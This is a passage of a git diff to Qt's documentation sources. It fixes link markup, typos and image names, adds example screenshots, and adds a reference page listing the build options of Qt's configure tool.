Qt, link your test to the \c QtTest library. For debug builds, use diff --git a/doc/src/examples/audiodevices.qdoc b/doc/src/examples/audiodevices.qdoc index b812968..fd56e38 100644 --- a/doc/src/examples/audiodevices.qdoc +++ b/doc/src/examples/audiodevices.qdoc @@ -32,6 +32,8 @@ The Audio Devices example demonstrates the basic use of QAudioDeviceInfo class provided with Qt. + \image audiodevices-example.png + Qt provides the QAudioDeviceInfo class to enable audio querying within a standard application user interface. diff --git a/doc/src/examples/audioinput.qdoc b/doc/src/examples/audioinput.qdoc index 7ca01a5..44b480f 100644 --- a/doc/src/examples/audioinput.qdoc +++ b/doc/src/examples/audioinput.qdoc @@ -32,6 +32,8 @@ The Audio Input example demonstrates the basic use of QAudioInput class provided with Qt. + \image audioinput-example.png + Qt provides the QAudioInput class to enable audio functionality within a standard application user interface. diff --git a/doc/src/examples/audiooutput.qdoc b/doc/src/examples/audiooutput.qdoc index 358c404..1703883 100644 --- a/doc/src/examples/audiooutput.qdoc +++ b/doc/src/examples/audiooutput.qdoc @@ -32,6 +32,8 @@ The Audio Output example demonstrates the basic use of the QAudioOutput class provided with Qt. + \image audiooutput-example.png + This example provides a tone generator to supply continuous audio playback. The first button allows pause and resume of the playback. The second button allows toggling between push and pull modes of operation. diff --git a/doc/src/examples/basicgraphicslayouts.qdoc b/doc/src/examples/basicgraphicslayouts.qdoc index 11b99f3..0110e29 100644 --- a/doc/src/examples/basicgraphicslayouts.qdoc +++ b/doc/src/examples/basicgraphicslayouts.qdoc @@ -133,19 +133,19 @@ \snippet examples/graphicsview/basicgraphicslayouts/layoutitem.cpp 2 - The reimplementation of {QGraphicsItem::boundingRect()}{boundingRect()} + The reimplementation of \l{QGraphicsItem::}{boundingRect()} will set the top left corner at (0,0), and the size of it will be the size of the layout items - {QGraphicsLayoutItem::geometry()}{geometry()}. This is the area that + \l{QGraphicsLayoutItem::}{geometry()}. This is the area that we paint within. \snippet examples/graphicsview/basicgraphicslayouts/layoutitem.cpp 3 - The reimplementation of {QGraphicsLayoutItem::setGeometry()}{setGeometry()} + The reimplementation of \l{QGraphicsLayoutItem::setGeometry()}{setGeometry()} simply calls its baseclass implementation. However, since this will change the boundingRect we must also call - {QGraphicsItem::prepareGeometryChange()}{prepareGeometryChange()}. + \l{QGraphicsItem::prepareGeometryChange()}{prepareGeometryChange()}. Finally, we move the item according to \c geom.topLeft(). \snippet examples/graphicsview/basicgraphicslayouts/layoutitem.cpp 4 diff --git a/doc/src/examples/combowidgetmapper.qdoc b/doc/src/examples/combowidgetmapper.qdoc index 1a9bf5a..897d135 100644 --- a/doc/src/examples/combowidgetmapper.qdoc +++ b/doc/src/examples/combowidgetmapper.qdoc @@ -32,7 +32,7 @@ The Delegate Widget Mapper example shows how to use a custom delegate to map information from a model to specific widgets on a form. - \image combo-widget-mapper.png + \image combowidgetmapper-example.png In the \l{Simple Widget Mapper Example}, we showed the basic use of a widget mapper to relate data exposed by a model to simple input widgets diff --git a/doc/src/examples/concentriccircles.qdoc b/doc/src/examples/concentriccircles.qdoc index dc17871..315469b 100644 --- a/doc/src/examples/concentriccircles.qdoc +++ b/doc/src/examples/concentriccircles.qdoc @@ -192,7 +192,7 @@ \snippet examples/painting/concentriccircles/window.h 0 - We declare the various components of the main window, i.e the text + We declare the various components of the main window, i.e., the text labels and a double array that will hold reference to the four \c {CircleWidget}s. In addition we declare the private \c createLabel() function to simplify the constructor. diff --git a/doc/src/examples/drilldown.qdoc b/doc/src/examples/drilldown.qdoc index bc45db3..8739270 100644 --- a/doc/src/examples/drilldown.qdoc +++ b/doc/src/examples/drilldown.qdoc @@ -444,7 +444,7 @@ Finally, we store the location ID that this particular record is associated with as well as a z-value. In the \l {Graphics View Framework}, an item's z-value determines its position in the item - stack. An item of high Z-value will be drawn on top of an item + stack. An item of high z-value will be drawn on top of an item with a lower z-value if they share the same parent item. We also provide an \c updateItemPosition() function to refresh the view when required. diff --git a/doc/src/examples/elasticnodes.qdoc b/doc/src/examples/elasticnodes.qdoc index d6676e8..bba6d90 100644 --- a/doc/src/examples/elasticnodes.qdoc +++ b/doc/src/examples/elasticnodes.qdoc @@ -77,12 +77,12 @@ function is called to calculate the forces that push and pull on this node and its neighbors. - The \c Node class also reimplements - \l{QGraphicsItem::itemChange()}{itemChange()} to react to state changes (in - this case, position changes), and - \l{QGraphicsItem::mousePressEvent()}{mousePressEvent()} and - \l{QGraphicsItem::mouseReleaseEvent()}{mouseReleaseEvent()} to update the - item's visual appearance. + The \c Node class also reimplements + \l{QGraphicsItem::itemChange()}{itemChange()} to react to state changes (in + this case, position changes), and + \l{QGraphicsItem::mousePressEvent()}{mousePressEvent()} and + \l{QGraphicsItem::mouseReleaseEvent()}{mouseReleaseEvent()} to update the + item's visual appearance. We will start reviewing the \c Node implementation by looking at its constructor: @@ -242,7 +242,7 @@ The \c adjust() function repositions the edge, and the item also implements \l{QGraphicsItem::boundingRect()}{boundingRect()} and - \{QGraphicsItem::paint()}{paint()}. + \l{QGraphicsItem::paint()}{paint()}. We will now review its implementation. diff --git a/doc/src/examples/fancybrowser.qdoc b/doc/src/examples/fancybrowser.qdoc index 4121904..b46903d 100644 --- a/doc/src/examples/fancybrowser.qdoc +++ b/doc/src/examples/fancybrowser.qdoc @@ -118,7 +118,7 @@ using CSS. \snippet examples/webkit/fancybrowser/mainwindow.cpp 8 - + The \c rotateImages() function rotates the images on the current web page. Webkit supports CSS transforms and this JavaScript code looks up all \e {img} elements and rotates the images 180 degrees @@ -127,7 +127,7 @@ \snippet examples/webkit/fancybrowser/mainwindow.cpp 9 The remaining four methods remove different elements from the current web - page. \c removeGifImages() removes all Gif images on the page by looking up + page. \c removeGifImages() removes all GIF images on the page by looking up the \e {src} attribute of all the elements on the web page. Any element with a \e {gif} file as its source is removed. \c removeInlineFrames() removes all \e {iframe} or inline elements. \c removeObjectElements() removes all diff --git a/doc/src/examples/qml-examples.qdoc b/doc/src/examples/qml-examples.qdoc index 2dc45e3..bbea19b 100644 --- a/doc/src/examples/qml-examples.qdoc +++ b/doc/src/examples/qml-examples.qdoc @@ -68,7 +68,7 @@ \title Animation: States Example \example declarative/animation/states - These examples show how to use \l{States}{states} and \l{Transitions}{transitions}. + These examples show how to use \l{State}{states} and \l{Transition}{transitions}. The \c states.qml example shows how an item can change between states, and \c transitions.qml shows how these state changes can be animated. @@ -674,7 +674,7 @@ This example shows how to create a tab widget. It also demonstrates how \l {Property aliases}{property aliases} and - \l {Default Properties}{default properties} can be used to collect and + \l {Introduction to the QML Language#Default Properties}{default properties} can be used to collect and assemble the child items declared within an \l Item. \image qml-tabwidget-example.png diff --git a/doc/src/examples/svgalib.qdoc b/doc/src/examples/svgalib.qdoc index b69bead..e13cd7f 100644 --- a/doc/src/examples/svgalib.qdoc +++ b/doc/src/examples/svgalib.qdoc @@ -322,9 +322,8 @@ \snippet examples/qws/svgalib/svgalibsurface.h 0 We can implement most of the pure virtual functions inherited from - QWSWindowSurface as trivial inline functions, except the - \l {QWindowSurface::}{scroll()} function that actually makes use - of some hardware acceleration: + QWSWindowSurface as trivial inline functions, except the scroll() + function that actually makes use of some hardware acceleration: \snippet examples/qws/svgalib/svgalibsurface.cpp 0 diff --git a/doc/src/examples/textfinder.qdoc b/doc/src/examples/textfinder.qdoc index 31fe785..e92bb98 100644 --- a/doc/src/examples/textfinder.qdoc +++ b/doc/src/examples/textfinder.qdoc @@ -80,7 +80,7 @@ \snippet examples/uitools/textfinder/textfinder.h 0 - The slot \c{on_find_Button_clicked()} is a slot named according to the + The slot \c{on_findButton_clicked()} is a slot named according to the \l{Using a Designer UI File in Your Application#Automatic Connections} {Automatic Connection} naming convention required by \c uic. diff --git a/doc/src/external-resources.qdoc b/doc/src/external-resources.qdoc index 4003e56..7639324 100644 --- a/doc/src/external-resources.qdoc +++ b/doc/src/external-resources.qdoc @@ -453,3 +453,8 @@ \externalpage http://www.libusb.org/ \title libusb */ + +/*! + \externalpage http://publicsuffix.org/ + \title publicsuffix.org +*/ diff --git a/doc/src/frameworks-technologies/plugins-howto.qdoc b/doc/src/frameworks-technologies/plugins-howto.qdoc index 3dc2996..b332d57 100644 --- a/doc/src/frameworks-technologies/plugins-howto.qdoc +++ b/doc/src/frameworks-technologies/plugins-howto.qdoc @@ -48,7 +48,7 @@ \ingroup frameworks-technologies \ingroup qt-basic-concepts - + \keyword QT_DEBUG_PLUGINS \keyword QT_NO_PLUGIN_CHECK @@ -87,7 +87,7 @@ directory. \table - \header \o Base Class \o Directory Name \o Key Case Sensitivity + \header \o Base Class \o Directory Name \o Key Case Sensitivity \row \o QAccessibleBridgePlugin \o \c accessiblebridge \o Case Sensitive \row \o QAccessiblePlugin \o \c accessible \o Case Sensitive \row \o QDecorationPlugin \o \c decorations \o Case Insensitive @@ -309,5 +309,10 @@ to make sure that the \c{QT_STATICPLUGIN} preprocessor macro is defined. + \section1 Deploying and Debugging Plugins + + The \l{Deploying Plugins} document covers the process of deploying + plugins with applications and debugging them when problems arise. + \sa QPluginLoader, QLibrary, {Plug & Paint Example} */ diff --git a/doc/src/frameworks-technologies/richtext.qdoc b/doc/src/frameworks-technologies/richtext.qdoc index 7a5a6a6..089f84d 100644 --- a/doc/src/frameworks-technologies/richtext.qdoc +++ b/doc/src/frameworks-technologies/richtext.qdoc @@ -37,6 +37,7 @@ \ingroup frameworks-technologies \ingroup qt-basic-concepts + \ingroup best-practices \nextpage Rich Text Document Structure diff --git a/doc/src/getting-started/examples.qdoc b/doc/src/getting-started/examples.qdoc index a68b211..ad97836 100644 --- a/doc/src/getting-started/examples.qdoc +++ b/doc/src/getting-started/examples.qdoc @@ -490,10 +490,12 @@ \image ipc-examples.png \list - \o \l{ipc/localfortuneclient}{Local Fortune Client}\raisedaster - \o \l{ipc/localfortuneserver}{Local Fortune Server}\raisedaster + \o \l{ipc/localfortuneclient}{Local Fortune Client} + \o \l{ipc/localfortuneserver}{Local Fortune Server} \o \l{ipc/sharedmemory}{Shared Memory}\raisedaster \endlist + + Examples marked with an asterisk (*) are fully documented. */ /*! diff --git a/doc/src/getting-started/gettingstarted.qdoc b/doc/src/getting-started/gettingstarted.qdoc index 2b8078e..502fb65 100644 --- a/doc/src/getting-started/gettingstarted.qdoc +++ b/doc/src/getting-started/gettingstarted.qdoc @@ -33,7 +33,7 @@ \section1 Creating applications using Qt and QML is easy enough once you get started. To get you started we have created two tutorials creating two similar applications, - but using diiferent approaches. One tutorial implements the user interface using + but using different approaches. One tutorial implements the user interface using QML, while the other implements the whole application using traditional Qt. Please click on the links below to start the ride. diff --git a/doc/src/getting-started/gettingstartedqml.qdoc b/doc/src/getting-started/gettingstartedqml.qdoc index 13f1192..ccb9771 100644 --- a/doc/src/getting-started/gettingstartedqml.qdoc +++ b/doc/src/getting-started/gettingstartedqml.qdoc @@ -133,7 +133,7 @@ the interactive area where mouse movements are detected. For our button, we anchor the whole MouseArea to its parent, which is \c simplebutton. The \c anchors.fill syntax is one way of accessing a specific property called \c fill inside a group of properties - called \c anchors. QML uses \l {Anchor-based Layout in QML}{anchor based layouts} where + called \c anchors. QML uses \l {Anchor-Based Layout in QML}{anchor-based layouts} where items can anchor to another item, creating robust layouts. The \c MouseArea has many signal handlers that are called during mouse movements within diff --git a/doc/src/getting-started/how-to-learn-qt.qdoc b/doc/src/getting-started/how-to-learn-qt.qdoc index 5c1e5ca..239c8a1 100644 --- a/doc/src/getting-started/how-to-learn-qt.qdoc +++ b/doc/src/getting-started/how-to-learn-qt.qdoc @@ -51,9 +51,9 @@ key overviews to deepen your understanding of Qt: The Qt \l{Object Model} and \l{Signals and Slots}. - \beginfloatleft + \div{float-left} \inlineimage qtdemo-small.png - \endfloat + \enddiv \section1 Getting an Overview diff --git a/doc/src/getting-started/installation.qdoc b/doc/src/getting-started/installation.qdoc index 4b4dab5..c906f84 100644 --- a/doc/src/getting-started/installation.qdoc +++ b/doc/src/getting-started/installation.qdoc @@ -1028,9 +1028,9 @@ We hope you will enjoy using Qt. Qt from its source code, you will also need to install the development packages for these libraries for your system. - \table 90% - \header \o Name \o Library \o Notes \o Configuration options \o Minimum working version \raw HTML + <table class="generic"> + <thead><tr class="qt-style topAlign"><th>Name</th><th>Library</th><th>Notes</th><th>Configuration options</th><th>Minimum working version <tr id="OptionalColor"> <td> XRender </td><td> libXrender </td><td> X Rendering Extension; used for anti-aliasing</td> <td><tt>-xrender</tt> or auto-detected</td><td>0.9.0</td> @@ -1077,9 +1077,9 @@ We hope you will enjoy using Qt. </tr><tr id="PthreadColor"> <td> pthread </td><td> libpthread </td><td> Multithreading</td> <td></td><td>2.3.5</td> - </tr> + </tr></th></tr></thead> + </table> \endraw - \endtable \note You must compile with XRender support to get alpha transparency support for pixmaps and images. @@ -1167,8 +1167,9 @@ We hope you will enjoy using Qt. {Windows Mobile 6 Professional/Standard} \endlist + \bold{Note:} \table - \row \bold{Note:} + \row \o \list 1 \o Currently, there is only compile support for Windows CE 5.0 @@ -1297,3 +1298,290 @@ We hope you will enjoy using Qt. \sa {Known Issues} */ + +/*! + \page configure-options.html + \title Configure options for Qt + \ingroup installation + \brief Brief description of available options building Qt. + + This page gives a brief description of the different options + available when building Qt using configure. To build Qt using + default options, just call configure from the command line like + showed below. If you would like to customize your build, please + use the options listed in the following tables. + + \c {.\configure.exe} + + \section2 Cross platform options: + + \table + \header \o Option \o Description \o Note + \row \o \c {-buildkey } <key> \o Build the Qt library and plugins + using the specified \o + \row \o \c {<key>} \o When the library loads plugins, it will only + load those that have a matching <key>. \o + \row \o \c {-release } \o Compile and link Qt with debugging turned off. \o + \row \o \c {-debug } \o Compile and link Qt with debugging turned on. + \o Defualt value. + \row \o \c {-debug-and-release} \o Compile and link two Qt libraries, + with and without debugging turned on. \o This option denotes a default + value and needs to be evaluated. If the evaluation succeeds, the + feature is included. + \row \o \c {-opensource} \o Compile and link the Open-Source Edition + of Qt. \o + \row \o \c {-commercial } \o Compile and link the Commercial Edition + of Qt. \o + \row \o \c {-developer-build} \o Compile and link Qt with Qt developer + options including auto-tests exporting) \o + \row \o \c {-shared} \o Create and use shared Qt libraries. \o Defualt + value. + \row \o \c {-static} \o Create and use static Qt libraries. \o + \row \o \c {-ltcg} \o Use Link Time Code Generation. \o Apply to release + builds only. + \row \o \c {-no-ltcg} \o Do not use Link Time Code Generation. \o Defualt + value. + \row \o \c {-no-fast} \o Configure Qt normally by generating Makefiles for + all project files. \o Defualt value. + \row \o \c {-fast} \o Configure Qt quickly by generating Makefiles only for + library and subdirectory targets. \o All other Makefiles are created as + wrappers which will in turn run qmake. + \row \o \c {-no-exceptions} \o Disable exceptions on platforms that support + it. \o + \row \o \c {-exceptions} \o Enable exceptions on platforms that support it. + \o Defualt value. + \row \o \c {-no-accessibility} \o Do not compile Windows Active + Accessibility support. \o + \row \o \c {-accessibility} \o Compile Windows Active Accessibility + support. \o Defualt value. + \row \o \c {-no-stl} \o Do not compile STL support. \o + \row \o \c {-stl} \o Compile STL support. \o Defualt value. + \row \o \c {-no-sql-<driver>} \o Disable SQL <driver> entirely, by default + none are turned on. \o + \row \o \c {-qt-sql-<driver>} \o Enable a SQL <driver> in the Qt Library. + \o + \row \o \c {-plugin-sql-<driver>} \o Enable SQL <driver> as a plugin to be + linked to at run time. \o Available values for <driver>: mysql, psql, + oci, odbc, tds, db2, sqlite, sqlite2, ibase. Drivers marked with a + '+' during configure have been detected as available on this system. + \row \o \c {-system-sqlite} \o Use sqlite from the operating system. \o + \row \o \c {-no-qt3support} \o Disables the Qt 3 support functionality. \o + \row \o \c {-no-opengl} \o Disables OpenGL functionality \o + \row \o \c {-opengl <api>} \o Enable OpenGL support with specified API + version. \o Available values for <api>: desktop - Enable support for + Desktop OpenGL (Default), es1 - Enable support for OpenGL ES Common + Profile, es2 - Enable support for OpenGL ES 2.0. + \row \o \c {-no-openvg} \o Disables OpenVG functionality \o Defualt value. + \row \o \c {-openvg} \o Enables OpenVG functionality \o Requires EGL + support, typically supplied by an OpenGL or other graphics + implementation. + \row \o \c {-platform <spec> } \o The operating system and compiler you + are building on. \o The default value is %QMAKESPEC%. + \row \o \c {-xplatform <spec> } \o The operating system and compiler you + are cross compiling to. \o See the README file for a list of supported + operating systems and compilers. + \row \o \c {-qtnamespace <namespace>} \o Wraps all Qt library code in + 'namespace name {..} \o + \row \o \c {-qtlibinfix <infix>} \o Renames all Qt* libs to Qt*<infix> + \o + \row \o \c {-D <define>} \o Add an explicit define to the preprocessor. + \o + \row \o \c {-I <includepath>} \o Add an explicit include path. \o + \row \o \c {-L <librarypath>} \o Add an explicit library path. \o + \row \o \c {-l <libraryname>} \o Add an explicit library name, residing + in a librarypath. \o + \row \o \c {-graphicssystem <sys>} \o Specify which graphicssystem should + be used. \o Available values for <sys>: * raster - Software rasterizer, + opengl - Using OpenGL acceleration, experimental!, openvg - Using + OpenVG acceleration, experimental! + \row \o \c {-help, -h, -?} \o Display this information. \o + \endtable + + \section2 Third Party Libraries: + \table + \header \o Option \o Description \o Note + \row \o \c {-qt-zlib} \o Use the zlib bundled with Qt. \o + \row \o \c {-system-zlib} \o Use zlib from the operating system. + \o See http://www.gzip.org/zlib + \row \o \c {-no-gif} \o Do not compile GIF reading support. + \o This option denotes a default value and needs to be evaluated. + If the evaluation succeeds, the feature is included. + \row \o \c {-qt-gif} \o Compile GIF reading support. \o See also + src/gui/image/qgifhandler_p.h + \row \o \c {-no-libpng} \o Do not compile PNG support. \o + \row \o \c {-qt-libpng} \o Use the libpng bundled with Qt. + \o This option denotes a default value and needs to be evaluated. + If the evaluation succeeds, the feature is included. + \row \o \c {-system-libpng} \o Use libpng from the operating system. + \o See http://www.libpng.org/pub/png + \row \o \c {-no-libmng} \o Do not compile MNG support. \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-qt-libmng} \o Use the libmng bundled with Qt. \o + \row \o \c {-system-libmng} \o Use libmng from the operating system. + \o See See http://www.libmng.com + \row \o \c {-no-libtiff} \o Do not compile TIFF support. \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-qt-libtiff} \o Use the libtiff bundled with Qt. \o + \row \o \c {-system-libtiff} \o Use libtiff from the operating system. + \o See http://www.libtiff.org + \row \o \c {-no-libjpeg} \o Do not compile JPEG support. \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-qt-libjpeg} \o Use the libjpeg bundled with Qt. \o + \row \o \c {-system-libjpeg} \o Use libjpeg from the operating system. + \o See http://www.ijg.org. This option denotes a default value and + needs to be evaluated. If the evaluation succeeds, the feature is + included. + \endtable + + \section2 Qt for Windows only: + \table + \header \o Option \o Description \o Note + \row \o \c {-no-dsp} \o Do not generate VC++ .dsp files. \o + \row \o \c {-dsp} \o Generate VC++ .dsp files, only if spec "win32-msvc". + \o Defualt value. + \row \o \c {-no-vcproj} \o Do not generate VC++ .vcproj files. \o + \row \o \c {-vcproj} \o Generate VC++ .vcproj files, only if platform + "win32-msvc.net". \o Defualt value. + \row \o \c {-no-incredibuild-xge} \o Do not add IncrediBuild XGE distribution + commands to custom build steps. \o + \row \o \c {-incredibuild-xge} \o Add IncrediBuild XGE distribution commands + to custom build steps. This will distribute MOC and UIC steps, and other + custom buildsteps which are added to the INCREDIBUILD_XGE variable. + \o The IncrediBuild distribution commands are only added to Visual Studio + projects. This option denotes a default value and needs to be evaluated. + If the evaluation succeeds, the feature is included. + \row \o \c {-no-plugin-manifests} \o Do not embed manifests in plugins. \o + \row \o \c {-plugin-manifests} \o Embed manifests in plugins. + \o Defualt value. + \row \o \c {-no-qmake} \o Do not compile qmake. \o + \row \o \c {-qmake} \o Compile qmake. \o Defualt value + \row \o \c {-dont-process} \o Do not generate Makefiles/Project files. This + will override -no-fast if specified. \o + \row \o \c {-process} \o Generate Makefiles/Project files. \o Defualt value. + \row \o \c {-no-rtti} \o Do not compile runtime type information. \o + \row \o \c {-rtti} \o Compile runtime type information. \o Defualt value. + \row \o \c {-no-mmx} \o Do not compile with use of MMX instructions \o + \row \o \c {-mmx} \o Compile with use of MMX instructions \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-3dnow} \o Do not compile with use of 3DNOW instructions \o + \row \o \c {-3dnow} \o Compile with use of 3DNOW instructions \o This + option denotes a default value and needs to be evaluated. If the + evaluation succeeds, the feature is included. + \row \o \c {-no-sse} \o Do not compile with use of SSE instructions \o + \row \o \c {-sse} \o Compile with use of SSE instructions \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-sse2} \o Do not compile with use of SSE2 instructions \o + \row \o \c {-sse2} \o Compile with use of SSE2 instructions \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-openssl} \o Do not compile in OpenSSL support \o + \row \o \c {-openssl} \o Compile in run-time OpenSSL support \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-openssl-linked} \o Compile in linked OpenSSL support \o + \row \o \c {-no-dbus} \o Do not compile in D-Bus support \o + \row \o \c {-dbus} \o Compile in D-Bus support and load libdbus-1 dynamically. + \o This option denotes a default value and needs to be evaluated. + If the evaluation succeeds, the feature is included. + \row \o \c {-dbus-linked} \o Compile in D-Bus support and link to + libdbus-1 \o + \row \o \c {-no-phonon} \o Do not compile in the Phonon module \o + \row \o \c {-phonon} \o Compile the Phonon module. \o Phonon is built if a + decent C++ compiler is used. This option denotes a default value and needs + to be evaluated. If the evaluation succeeds, the feature is included. + \row \o \c {-no-phonon-backend} \o Do not compile the platform-specific + Phonon backend-plugin \o + \row \o \c {-phonon-backend} \o Compile in the platform-specific Phonon + backend-plugin \o Defualt value. + \row \o \c {-no-multimedia} \o Do not compile the multimedia module \o + \row \o \c {-multimedia} \o Compile in multimedia module \o Defualt value. + \row \o \c {-no-audio-backend} \o Do not compile in the platform audio + backend into QtMultimedia \o + \row \o \c {-audio-backend} \o Compile in the platform audio backend into + QtMultimedia \o This option denotes a default value and needs to be + evaluated. If the evaluation succeeds, the feature is included. + \row \o \c {-no-webkit} \o Do not compile in the WebKit module \o + \row \o \c {-webkit} \o Compile in the WebKit module \o WebKit is built + if a decent C++ compiler is used. This option denotes a default value + and needs to be evaluated. If the evaluation succeeds, the feature is + included. + \row \o \c {-webkit-debug} \o Compile in the WebKit module with debug + symbols. \o + \row \o \c {-no-script} \o Do not build the QtScript module. \o + \row \o \c {-script} \o Build the QtScript module. \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-scripttools} \o Do not build the QtScriptTools module. \o + \row \o \c {-scripttools} \o Build the QtScriptTools module. \o This + option denotes a default value and needs to be evaluated. If the + evaluation succeeds, the feature is included. + \row \o \c {-no-declarative} \o Do not build the declarative module \o + \row \o \c {-declarative} \o Build the declarative module \o This option + denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-no-declarative-debug} \o Do not build the declarative debugging + support \o + \row \o \c {-declarative-debug} \o Build the declarative debugging support + \o Defualt value. + \row \o \c {-arch <arch>} \o Specify an architecture. \o Available values for + <arch>: * windows, windowsce, symbian, boundschecker, generic. + \row \o \c {-no-style-<style>} \o Disable <style> entirely. \o + \row \o \c {-qt-style-<style>} \o Enable <style> in the Qt Library. + \o Available styles: * windows, + windowsxp, + windowsvista, + * plastique, * cleanlooks, * motif, * cde, windowsce, windowsmobile, + s60 + \row \o \c {-no-native-gestures} \o Do not use native gestures on Windows 7. + \o + \row \o \c {-native-gestures} \o Use native gestures on Windows 7. + \o Defualt value. + \row \o \c {-no-mp} \o Do not use multiple processors for compiling with MSVC + \o Defualt value. + \row \o \c {-mp} \o Use multiple processors for compiling with MSVC (-MP) \o + \row \o \c {-loadconfig <config>} \o Run configure with the parameters from file + configure_<config>.cache. \o + \row \o \c {-saveconfig <config>} \o Run configure and save the parameters in + file configure_<config>.cache. \o + \row \o \c {-redo} \o Run configure with the same parameters as last time. \o +\endtable + +\section2 Qt for Windows CE only: + \table + \header \o Option \o Description \o Note + \row \o \c {-no-iwmmxt} \o Do not compile with use of IWMMXT instructions \o + \row \o \c {-iwmmxt} \o Do compile with use of IWMMXT instructions. \o This is + for Qt for Windows CE on Arm only. This option denotes a default value and + needs to be evaluated. If the evaluation succeeds, the feature is included. + \row \o \c {-no-crt} \o Do not add the C runtime to default deployment rules. + \o Defualt value. + \row \o \c {-qt-crt} \o Qt identifies C runtime during project generation \o + \row \o \c {-crt <path>} \o Specify path to C runtime used for project + generation. \o + \row \o \c {-no-cetest} \o Do not compile Windows CE remote test application \o + \row \o \c {-cetest} \o Compile Windows CE remote test application \o This + option denotes a default value and needs to be evaluated. If the evaluation + succeeds, the feature is included. + \row \o \c {-signature <file>} \o Use file for signing the target project \o + \row \o \c {-phonon-wince-ds9} \o Enable Phonon Direct Show 9 backend for + Windows CE \o Defualt value + \endtable + + \section2 Qt for Symbian OS only: + \table + \header \o Option \o Description \o Note + \row \o \c {-no-freetype} \o Do not compile in Freetype2 support. + \o Defualt value. + \row \o \c {-qt-freetype} \o Use the libfreetype bundled with Qt. \o + \row \o \c {-fpu <flags>} \o VFP type on ARM, supported options: + softvfp(default) |vfpv2 | softvfp+vfpv2 \o + \row \o \c {-no-s60} \o Do not compile in S60 support. \o + \row \o \c {-s60} \o Compile with support for the S60 UI Framework + \o Defualt value. + \row \o \c {-no-usedeffiles} \o Disable the usage of DEF files. \o + \row \o \c {-usedeffiles} \o Enable the usage of DEF files. \o + \endtable +*/ diff --git a/doc/src/howtos/HWacceleration.qdoc b/doc/src/howtos/HWacceleration.qdoc index 7cc3346..0dc5d5e 100644 --- a/doc/src/howtos/HWacceleration.qdoc +++ b/doc/src/howtos/HWacceleration.qdoc @@ -27,7 +27,7 @@ /*! \page HWAcc_rendering.html - \title Hardware Acceleration & Embedded Platforms. + \title Hardware Acceleration and Embedded Platforms. \brief How to use hardware acceleration for fast rendering. \ingroup best-practices @@ -45,11 +45,11 @@ \input platforms/emb-hardwareacceleration.qdocinc \section1 Supported platforms - Since there might be differences to how the APIs are being used on - the different embedded platforms, this table provides you with links to - pages dedicated to platform specific documentation for each - supported hardware acceleration API. Click the API link for the - platform to go the correct documentation. + Since there might be differences to how the APIs are being used on + the different embedded platforms, this table provides you with links to + pages dedicated to platform specific documentation for each + supported hardware acceleration API. Click the API link for the + platform to go the correct documentation. \table \header diff --git a/doc/src/howtos/restoring-geometry.qdoc b/doc/src/howtos/restoring-geometry.qdoc index 005a29e..b3d6355 100644 --- a/doc/src/howtos/restoring-geometry.qdoc +++ b/doc/src/howtos/restoring-geometry.qdoc @@ -28,7 +28,7 @@ /*! \page restoring-geometry.html \title Restoring a Window's Geometry - \brief How to save & restore window geometry. + \brief How to save & restore window geometry. \ingroup best-practices This document describes how to save and restore a \l{Window diff --git a/doc/src/howtos/sharedlibrary.qdoc b/doc/src/howtos/sharedlibrary.qdoc index 5b47618..3e611b9 100644 --- a/doc/src/howtos/sharedlibrary.qdoc +++ b/doc/src/howtos/sharedlibrary.qdoc @@ -59,7 +59,7 @@ \endlist Now, we need to ensure that the right macro is invoked -- whether we - compile a share library itself, or just the client using the shared + compile a shared library itself, or just the client using the shared library. Typically, this can be solved by adding a special header. diff --git a/doc/src/images/audiodevices-example.png b/doc/src/images/audiodevices-example.png Binary files differnew file mode 100755 index 0000000..ae857df --- /dev/null +++ b/doc/src/images/audiodevices-example.png diff --git a/doc/src/images/audioinput-example.png b/doc/src/images/audioinput-example.png Binary files differnew file mode 100644 index 0000000..fb703e6 --- /dev/null +++ b/doc/src/images/audioinput-example.png diff --git a/doc/src/images/audiooutput-example.png b/doc/src/images/audiooutput-example.png Binary files differnew file mode 100755 index 0000000..5588fbb --- /dev/null +++ b/doc/src/images/audiooutput-example.png diff --git a/doc/src/images/combo-widget-mapper.png b/doc/src/images/combowidgetmapper-example.png Binary files differindex 910d6ed..910d6ed 100644 --- a/doc/src/images/combo-widget-mapper.png +++ b/doc/src/images/combowidgetmapper-example.png diff --git a/doc/src/images/declarative-colors.png b/doc/src/images/declarative-colors.png Binary files differnew file mode 100644 index 0000000..f2eacd8 --- /dev/null +++ b/doc/src/images/declarative-colors.png diff --git a/doc/src/images/combobox.png b/doc/src/images/modelview-combobox.png Binary files differindex d172b41..d172b41 100755 --- a/doc/src/images/combobox.png +++ b/doc/src/images/modelview-combobox.png diff --git a/doc/src/images/header.png b/doc/src/images/modelview-header.png Binary files differindex 2597635..2597635 100755 --- a/doc/src/images/header.png +++ b/doc/src/images/modelview-header.png diff --git a/doc/src/images/mediaplayer-demo.png b/doc/src/images/qmediaplayer-demo.png Binary files differindex 2c1f9b4..2c1f9b4 100644 --- a/doc/src/images/mediaplayer-demo.png +++ b/doc/src/images/qmediaplayer-demo.png diff --git a/doc/src/index.qdoc b/doc/src/index.qdoc index 3bef2ad..be59c2f 100644 --- a/doc/src/index.qdoc +++ b/doc/src/index.qdoc @@ -29,83 +29,91 @@ \page index.html \keyword Qt Reference Documentation - \raw HTML - <div class="indexbox guide" > - <div class="heading"> - Qt Developer Guide</div> - <div class="indexboxcont indexboxbar"> - <div class="section indexIcon"><span></span></div> - <div class="section"> - <p>Qt is a cross-platform application and UI framework. Using Qt, you can write web-enabled applications once and deploy them across desktop, mobile and embedded operating systems without rewriting the source code.</p> - </div> - <div class="section sectionlist"> - <ul> - <li><a href="gettingstarted.html">Getting started</a></li> - <li><a href="installation.html">Installation</a></li> - <li><a href="how-to-learn-qt.html">How to learn Qt</a></li> - <li><a href="tutorials.html">Tutorials</a></li> - <li><a href="all-examples.html">Examples</a></li> - <li><a href="qt4-7-intro.html">What's new in 